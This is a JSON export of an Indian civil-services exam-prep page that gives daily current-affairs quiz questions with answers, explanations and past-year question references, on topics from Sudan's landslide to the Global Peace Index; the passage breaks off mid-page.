{"id":2288,"date":"2025-09-04T08:10:53","date_gmt":"2025-09-04T08:10:53","guid":{"rendered":"https:\/\/iasquest.com\/?p=2288"},"modified":"2026-02-11T18:54:12","modified_gmt":"2026-02-11T18:54:12","slug":"daily-current-affairs-03-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-03-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 03-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>Statement-I:<\/strong> Landslides occur primarily in hilly or mountainous regions with steep slopes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Statement-II:<\/strong> Heavy rainfall is a common trigger for landslides.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Statement-I is correct but Statement-II is incorrect.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Statement-I is incorrect but Statement-II is correct.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (a)<\/strong> <strong>Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS: More than 1,000 people killed and village wiped out in Sudan landslide<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>Landslides are <strong>more frequent in regions with steep slopes<\/strong>, where gravitational forces can easily displace loose or weathered material.<strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>This includes mountain ranges like the Himalayas, Andes, Alps, etc.<\/li>\n\n\n\n<li>Slope angle is a <strong>major geomorphological factor<\/strong> in landslide susceptibility.<\/li>\n\n\n\n<li><strong>Rainfall infiltration<\/strong> reduces cohesion in soil and rock layers, increasing pore water pressure.<strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>This can <strong>destabilize slopes<\/strong>, especially in already weathered or loosely packed material.<\/li>\n\n\n\n<li>In monsoonal regions, <strong>rainfall-induced landslides are common<\/strong>, e.g., in Western Ghats, Northeastern India, Japan, Philippines, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Does Statement-II explain Statement-I?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>The reason landslides are more <strong>common in hilly terrain<\/strong> is because <strong>rainwater interacts with steep slopes<\/strong>, accelerating mass wasting processes.<\/li>\n\n\n\n<li><strong>Heavy rainfall \u2192 saturates steep slopes \u2192 leads to landslides<\/strong>.<\/li>\n\n\n\n<li>Therefore, <strong>Statement-II is a valid and correct explanation for Statement-I<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q.<\/strong> <strong>Consider the following statements : (2024)<\/strong> <br><strong>Statement-I: <\/strong>The atmosphere is heated more by incoming solar radiation than by terrestrial radiation. <br><strong>Statement-II: <\/strong>Carbon dioxide and other greenhouse gases in the atmosphere good absorbers of long wave radiation <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I <br>(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I <br>(c) Statement-I is correct, but Statement-II is incorrect <br><strong>(d) Statement-I is incorrect, but Statement-II is correct<\/strong> \u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/landslide-in-sudans-darfur-wipes-out-village-killing-more-than-1000-people\/article70003087.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/landslide-in-sudans-darfur-wipes-out-village-killing-more-than-1000-people\/article70003087.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>2. With reference to the Immigration and Foreigners Act, 2025, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>The Act empowers Foreigners Tribunals with the powers of a first-class judicial magistrate.<\/li>\n\n\n\n<li>The Act allows the government to send persons to detention centers if they fail to prove their citizenship.<\/li>\n\n\n\n<li>While the law applies across India, Foreigners Tribunals currently operate only in Assam.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>In NEWS: FTs can issue arrest warrants, send \u2018foreigners\u2019 to detention centres<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-26\">\n<li>The <strong>Immigration and Foreigners Order, 2025,<\/strong> notified under the new Act, grants Foreigners Tribunals (FTs) the powers equivalent to those of a <strong>first-class judicial magistrate. Hence Statement 1 is correct<\/strong><\/li>\n\n\n\n<li>This includes powers such as issuing arrest warrants against individuals who fail to appear before the tribunal.<\/li>\n\n\n\n<li>The Order allows the government to send individuals to <strong>detention or holding centers<\/strong> if they <strong>fail to provide proof that they are not foreigners<\/strong>.<strong>Hence Statement 2 is correct<\/strong><\/li>\n\n\n\n<li>This provision, previously implemented via executive orders, is now codified in law.<\/li>\n\n\n\n<li>The <strong>Act and Order are applicable nationwide<\/strong>, but <strong>FTs are presently functional only in Assam<\/strong>.<strong>Hence Statement 3 is correct<\/strong><\/li>\n\n\n\n<li>In other states, cases of illegal migration are handled by regular courts, not dedicated tribunals.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. With reference to the \u2018Prohibition of Benami Property Transaction Act, 1988 (PBPT Act)\u2019, consider the following statements:<\/strong> <br><br>1. A property transaction is not treated as a benami transaction if the owner of the property is not aware of the transaction. \u00a0<br>2. Properties held benami are liable for confiscation by the Government. <br>3. The Act provides for three authorities for investigations but does not provide for any appellate mechanism. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) 1 and 3 only <br>(d) 2 and 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/foreigners-tribunals-can-issue-arrest-warrants-send-people-to-detention-centres\/article70005218.ece#:~:text=The%202025%20order%2C%20which%20replaces,fails%20to%20appear%20in%20person\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/foreigners-tribunals-can-issue-arrest-warrants-send-people-to-detention-centres\/article70005218.ece#:~:text=The%202025%20order%2C%20which%20replaces,fails%20to%20appear%20in%20person<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>3. With reference to the \u201cSEMICON India \u2013 2025\u201d and India\u2019s semiconductor mission, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>The India Semiconductor Mission (ISM) functions as an autonomous body under the Ministry of Electronics and Information Technology.<\/li>\n\n\n\n<li>SEMICON India \u2013 2025 aims to promote a comprehensive semiconductor ecosystem including High-Volume Fabs, Compound Semiconductors, OSATs, and 3D Packaging.<\/li>\n\n\n\n<li>The Design Linked Incentive (DLI) scheme has approved start-ups and academic institutes working on critical semiconductor applications.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(c) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(d)&nbsp; 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Answer: (c) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>In NEWS: Prime Minister Shri Narendra Modi inaugurates Semicon India 2025 in New Delhi<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>The <strong>India Semiconductor Mission (ISM)<\/strong> functions as an <strong>autonomous body<\/strong> under the <strong>Ministry of Electronics and Information Technology (MeitY)<\/strong>.<strong>Hence Statement 1 is correct<\/strong><\/li>\n\n\n\n<li>It is the <strong>nodal agency<\/strong> responsible for implementing the <strong>Semicon India Programme<\/strong>, managing fiscal incentives, evaluating proposals, and facilitating partnerships with both domestic and international stakeholders.<\/li>\n\n\n\n<li><strong>SEMICON India \u2013 2025<\/strong> specifically focuses on promoting a <strong>comprehensive semiconductor ecosystem<\/strong>, including:<\/li>\n\n\n\n<li><strong>High-Volume Fabrication Units (Fabs)<\/strong><\/li>\n\n\n\n<li><strong>Compound Semiconductors<\/strong> (including Silicon Carbide \u2013 SiC)<\/li>\n\n\n\n<li><strong>3D Heterogeneous Packaging<\/strong><\/li>\n\n\n\n<li><strong>Outsourced Semiconductor Assembly and Test (OSATs)<\/strong><\/li>\n\n\n\n<li>These are key strategic components of the <strong>10 approved projects<\/strong> under the Government\u2019s initiative.<strong>Hence Statement 2 is correct<\/strong><\/li>\n\n\n\n<li>The <strong>Design Linked Incentive (DLI)<\/strong> scheme has been approved: <strong>23 start-ups<\/strong> working on critical semiconductor applications like CCTV systems, navigation systems, motor controllers, communication chips, and microprocessor units.<strong>Hence Statement 3 is correct<\/strong><\/li>\n\n\n\n<li>Additionally, <strong>280 academic institutions<\/strong> and <strong>72 start-ups<\/strong> have been provided with <strong>state-of-the-art design tools<\/strong>, enhancing R&amp;D capabilities.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. With reference to Pradhan Mantri Kaushal Vikas Yojana, consider the following statements<\/strong>: <br><br>1. It is the flagship scheme of the Ministry of Labour and Employment. <br>2.It, among other things, will also impart training in soft skills, entrepreneurship, financial and digital literacy. <br>3. It aims to align the competencies of the unregulated workforce of the country to the National Framework Skill Qualification <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 3 only <br>(b) 2 only <br><strong>(c) 2 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2162980\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2162980<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>4.&nbsp; With reference to the &#8220;Coconut Development Board&#8221; in India, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li>The Coconut Development Board is a statutory body.<\/li>\n\n\n\n<li>&nbsp;It is a regulatory body attached to the Ministry of Commerce and Industry.<\/li>\n\n\n\n<li>The Coconut Development Board&#8217;s Head Office is situated in Kochi.<\/li>\n\n\n\n<li>The Board has overseas offices in Indonesia and Philippines.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">(a) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(b) 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(c) 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(d) 1 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Answer: (a) 1 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>In NEWS:Coconut Development Board Launches Revised Schemes<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li><strong>Coconut Development Board (CDB) is a statutory body<\/strong> established under the<strong> Ministry of Agriculture and Farmers Welfare,<\/strong> Government of India for the integrated development of coconut cultivation and industry in the country with focus on productivity increase and product diversification.<strong>Hence Statement 2 is incorrect<\/strong><\/li>\n\n\n\n<li>The Coconut Development Board (CDB) was established under the<strong> Coconut Development Board Act, 1979<\/strong>, making it a statutory body. <strong>Hence Statement 1 is correct<\/strong><\/li>\n\n\n\n<li><strong>The Head Office of the Coconut Development Board is in Kochi, Kerala, <\/strong>with Regional Offices at Bangalore in Karnataka, Chennai in Tamil Nadu, Guwahati in Assam and Patna in Bihar. <strong>Hence Statement 3 is correct<\/strong><\/li>\n\n\n\n<li>No, the <strong>Coconut Development Board (CDB) does not have overseas offices<\/strong>, while the top coconut producing countries are Indonesia, the Philippines, and India, which together account for the majority of the world&#8217;s coconut output. <strong>Hence Statement 4 is incorrect<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:(2022)<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. With reference to the &#8220;Tea Board&#8221; in India, consider the following statements:<\/strong> <br><br>1. The Tea Board is a statutory body. <br>2. It is a regulatory body attached to the Ministry of Agriculture and Farmers Welfare. <br>3. The Tea Board&#8217;s Head Office is situated in Bengaluru. <br>4. The Board has overseas offices at Dubai and Moscow. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1 and 3 <br>(b) 2 and 4 <br>(c) 3 and 4 <br><strong>(d) 1 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2163062\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2163062<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>5. With reference to the &#8216;National Designated Authority for Carbon Markets (NDA-CM)&#8217; in India, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li>&nbsp;According to the Energy Conservation (Amendment) Act, 2022,Carbon Market is a market-based mechanism where carbon credits are traded to incentivize reduction of greenhouse gas (GHG) emissions.<\/li>\n\n\n\n<li>NDA &#8211; CM is responsible for the authorization of carbon credit trading projects under Article 6 of the Paris Agreement.<\/li>\n\n\n\n<li>One of its functions is to authorize international carbon credit trading projects aligned with India&#8217;s Nationally Determined Contributions (NDCs).<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(c) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(d)&nbsp; 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Answer: (c) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>The Energy Conservation (Amendment) Act, 2022<\/strong> formally introduced provisions for a carbon credit trading scheme:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-63\">\n<li>It defines the carbon market as a market-based approach to encourage emission reductions by allowing trading of carbon credit certificates <strong>Hence Statement 1 is correct<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Main Aim of the National Designated Authority for Carbon Markets (NDA-CM) &#8211; As per Government of India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">The main aim of the National Designated Authority for the Implementation of the Paris Agreement (NDAIAPA) &#8211; now referred to as the National Designated Authority for Carbon Markets (NDA-CM) &#8211; is:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>To oversee and regulate carbon market mechanisms in India, particularly in alignment with Article 6 of the Paris Agreement, and to authorize bilateral\/multilateral carbon credit trading projects.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Official Purpose and Functions (as per MoEFCC notification, 2022):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">According to the <strong>Ministry of Environment, Forest and Climate Change (MoEFCC) notification dated May 30, 2022, the NDA-CM was set up:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li>&#8220;To serve as the national authority to approve Article 6-compliant projects and ensure environmental integrity, transparency, and alignment with India&#8217;s climate goals.&#8221;<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Core Aims of NDA-CM:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>Authorize International Carbon Credit Projects<\/li>\n\n\n\n<li><strong>Appraises and authorizes bilateral and multilateral carbon market projects under Article 6.2 and 6.4 of the Paris Agreement.Hence Statement 2 is correct<\/strong><\/li>\n\n\n\n<li>Ensure Alignment with National Interests.<\/li>\n\n\n\n<li><strong>Ensures that carbon trading aligns with India&#8217;s Nationally Determined Contributions (NDCs) and developmental priorities Hence Statement 3 is correct<\/strong><\/li>\n\n\n\n<li>Promote Environmental Integrity.<\/li>\n\n\n\n<li>Verifies that all carbon market projects contribute to real, measurable, and verifiable emission reductions, maintaining transparency and environmental integrity.<\/li>\n\n\n\n<li>Support Carbon Market Framework.<\/li>\n\n\n\n<li><strong>Works with other government agencies (like BEE) to help develop India&#8217;s compliance-based carbon credit market under the Energy Conservation (Amendment) Act, 2022.<\/strong><\/li>\n\n\n\n<li>Facilitate International Cooperation.<\/li>\n\n\n\n<li>Represents India in international climate negotiations and bilateral arrangements related to carbon markets.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br><strong>Statement-I :<\/strong> Carbon markets are likely to be one of the most widespread tools in the fight against climate change. <br><strong>Statement-II <\/strong>: Carbon markets transfer resources from the private sector to the State. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I <br>(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I <br>(c) Statement-I is correct but Statement-II is incorrect <br>(d) Statement-I is incorrect but Statement-II is correct \u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/environment-ministry-finalises-national-designated-authority-to-kickstart-carbon-markets\/article69979886.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/environment-ministry-finalises-national-designated-authority-to-kickstart-carbon-markets\/article69979886.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>6. The Global Peace Index (GPI) 2025 which was seen in news is released by<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(a) World Economic Forum (WEF)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(b) Institute for Economics &amp; Peace (IEP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(c) Transparency International<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(d) United Nations Development Programme (UNDP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Answer: (b) Institute for Economics &amp; Peace (IEP)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>In NEWS: India ranks 115th in the Global Peace Index (GPI) 2025.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Global Peace Index (GPI) 2025<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li>The Global Peace Index (GPI) 2025 is published by the Institute for Economics &amp; Peace (IEP). <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It ranks countries on parameters like peace, governance, social trust, and security.<\/li>\n\n\n\n<li>Iceland has topped the index for the 18th consecutive year (since 2008).<\/li>\n\n\n\n<li>India ranks 115th, reflecting challenges in internal security and harmony.<\/li>\n\n\n\n<li>Challenges: regional disputes, urban crime, communal and internal tensions.<\/li>\n\n\n\n<li>Despite rich cultural diversity, achieving higher safety and harmony is difficult.<\/li>\n\n\n\n<li>Singapore is the only Asian country in the top 10 list.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. The Global Competitiveness Report is published by the<\/strong> <br><br>(a) International Monetary Fund <br>(b) United Nations Conference on Trade and Development <br><strong>(c) World Economic Forum<\/strong> <br>(d) World Bank<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/global-peace-index-2025\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/global-peace-index-2025\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>7. With reference to the traditional \u2018Pashmina Shawl\u2019 of India, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li>The wool used for Pashmina shawls is obtained from a special breed of Changthangi (goat) indigenous to the high altitudes of the Himalayas.<\/li>\n\n\n\n<li>It is under the consideration of tentative list to be certified for Geographical Indication (GI) Tag<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>In NEWS: <\/strong>PM Modi\u2019s gifts to Prime Minister of Japan and his wife<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Pashmina Shawl<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li>Origin &amp; Region: Pashmina refers to a fine type of cashmere wool obtained from the Changthangi goat (Capra hircus) found in high altitudes of Ladakh, Jammu &amp; Kashmir. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Weaving Tradition: Hand-spun and hand-woven by Kashmiri artisans; known for its soft texture, warmth, and intricate embroidery.<\/li>\n\n\n\n<li>Geographical Indication (GI) Tag: Granted in 2008, ensuring authenticity and protecting artisans. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>Economic &amp; Cultural Value: Symbol of Kashmiri cultural heritage; contributes significantly to local livelihoods and India\u2019s handicraft exports.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Challenges:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li>Influx of machine-made imitations threatening genuine artisans.<\/li>\n\n\n\n<li>Declining number of skilled craftsmen due to low returns.<\/li>\n\n\n\n<li>Climate change affecting Changthangi goat habitat.<\/li>\n<\/ul>\n\n\n\n<p 